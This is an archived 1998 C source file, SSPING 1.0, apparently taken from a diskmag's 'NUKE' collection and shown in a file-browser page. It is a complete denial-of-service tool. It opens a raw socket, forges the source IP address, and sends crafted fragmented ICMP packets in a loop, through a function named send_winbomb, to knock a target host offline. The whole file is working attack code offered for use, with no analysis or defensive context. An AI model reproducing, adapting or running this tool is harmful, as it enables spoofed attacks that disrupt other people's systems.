home *** CD-ROM | disk | FTP | other *** search
/ No Fragments Archive 10: Diskmags / nf_archive_10.iso / MAGS / FALKMAG / FKM_10H.ZIP / FKM_010 / NUKE.ZIP / NUKE / SSPING.C < prev    next >
C/C++ Source or Header  |  1998-11-23  |  5KB  |  184 lines

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/time.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <netinet/in.h>
  10. #include <netinet/ip.h>
  11. #include <netinet/ip_icmp.h>
  12.  
  13. void banner(void) {
  14.     
  15.    printf("\nSSPING 1.0\n");
  16.    printf("by Datagram.\n\n");
  17.  
  18. }
  19.  
  20. void usage(const char *progname) {
  21.  
  22.    printf("usage :\n");
  23.    printf("%s ...\n",progname);
  24.    printf(" < spoof   > : address of ICMP packet sender\n");
  25.    printf(" < dest    > : destination of the ICMP packet\n");
  26.    printf(" < number  > : number of bomb to send\n\n");
  27.  
  28. }
  29.  
  30. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
  31.  
  32.    struct hostent *host;
  33.  
  34.    memset(addr,0,sizeof(struct sockaddr_in));
  35.  
  36.    addr->sin_family = AF_INET;
  37.    addr->sin_addr.s_addr = inet_addr(name);
  38.  
  39.    if (addr->sin_addr.s_addr == -1) {
  40.       if (( host = gethostbyname(name) ) == NULL )  {
  41.          fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
  42.          return(-1);
  43.       }
  44.       addr->sin_family = host->h_addrtype;
  45.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  46.    }
  47.  
  48.    addr->sin_port = htons(port);
  49.    return(0);
  50.  
  51. }
  52.  
  53. unsigned short in_cksum(addr, len)
  54.     u_short *addr;
  55.     int len;
  56. {
  57.     register int nleft = len;
  58.     register u_short *w = addr;
  59.     register int sum = 0;
  60.     u_short answer = 0;
  61.  
  62.     /*
  63.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  64.      * sequential 16 bit words to it, and at the end, fold back all the
  65.      * carry bits from the top 16 bits into the lower 16 bits.
  66.      */
  67.     while (nleft > 1)  {
  68.         sum += *w++;
  69.         nleft -= 2;
  70.     }
  71.  
  72.     /* mop up an odd byte, if necessary */
  73.     if (nleft == 1) {
  74.         *(u_char *)(&answer) = *(u_char *)w ;
  75.         sum += answer;
  76.     }
  77.  
  78.     /* add back carry outs from top 16 bits to low 16 bits */
  79.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  80.     sum += (sum >> 16);            /* add carry */
  81.     answer = ~sum;            /* truncate to 16 bits */
  82.     return(answer);
  83. }
  84.  
  85. int send_winbomb(int socket,
  86.                  unsigned long spoof_addr,
  87.                  struct sockaddr_in *dest_addr) {
  88.  
  89.    unsigned char  *packet;
  90.    struct iphdr   *ip;
  91.    struct icmphdr *icmp;
  92.    int rc;
  93.  
  94.         
  95.    packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  96.                                 sizeof(struct icmphdr) + 8);
  97.  
  98.    ip = (struct iphdr *)packet;
  99.    icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  100.  
  101.    memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  102.    
  103.    /* This is the IP header of our packet. */
  104.  
  105.    ip->ihl      = 5;
  106.    ip->version  = 4;
  107. // ip->tos      = 0;
  108.    ip->id       = htons(34717);
  109.    ip->frag_off |= htons(0x2000);
  110. // ip->tot_len  = 0;
  111.    ip->ttl      = 255;
  112.    ip->protocol = IPPROTO_ICMP;
  113.    ip->saddr    = spoof_addr;
  114.    ip->daddr    = dest_addr->sin_addr.s_addr;
  115.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  116.  
  117.  
  118.    icmp->type            = 8;
  119.    icmp->code            = 0;
  120.    icmp->checksum        = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  121.  
  122.    if (sendto(socket,
  123.               packet,
  124.               sizeof(struct iphdr) +
  125.               sizeof(struct icmphdr) + 1,0,
  126.               (struct sockaddr *)dest_addr,
  127.               sizeof(struct sockaddr)) == -1) { return(-1); }
  128.    
  129.  
  130.    ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  131.    ip->frag_off = htons(8 >> 3);
  132.    ip->frag_off |= htons(0x2000);
  133.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  134.  
  135.    icmp->type = 0;
  136.    icmp->code = 0;
  137.    icmp->checksum = 0;
  138.  
  139.    if (sendto(socket,
  140.               packet,
  141.               sizeof(struct iphdr) +
  142.               sizeof(struct icmphdr) + 8,0,
  143.               (struct sockaddr *)dest_addr,
  144.               sizeof(struct sockaddr)) == -1) { return(-1); }
  145.  
  146.    free(packet);
  147.    return(0);
  148.  
  149. }
  150.  
  151. int main(int argc, char * *argv) {
  152.  
  153.    struct sockaddr_in dest_addr;
  154.    unsigned int i,sock;
  155.    unsigned long src_addr;
  156.  
  157.    banner();
  158.    if ((argc != 4)) {
  159.       usage(argv[0]);
  160.       return(-1);
  161.    }
  162.    
  163.    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
  164.       fprintf(stderr,"ERROR: Opening raw socket.\n");
  165.       return(-1);
  166.    }
  167.    
  168.    if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
  169.    src_addr = dest_addr.sin_addr.s_addr;
  170.  
  171.    if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
  172.  
  173.    printf("%s: Sending packets.\n",argv[0]);
  174.    for (i = 0;i < atoi(argv[3]);i++) {
  175.       if (send_winbomb(sock,
  176.                        src_addr,
  177.                        &dest_addr) == -1) {
  178.          fprintf(stderr,"ERROR: Sending packet.\n");
  179.          return(-1);
  180.       }
  181.       usleep(10000);
  182.    }
  183. }
  184.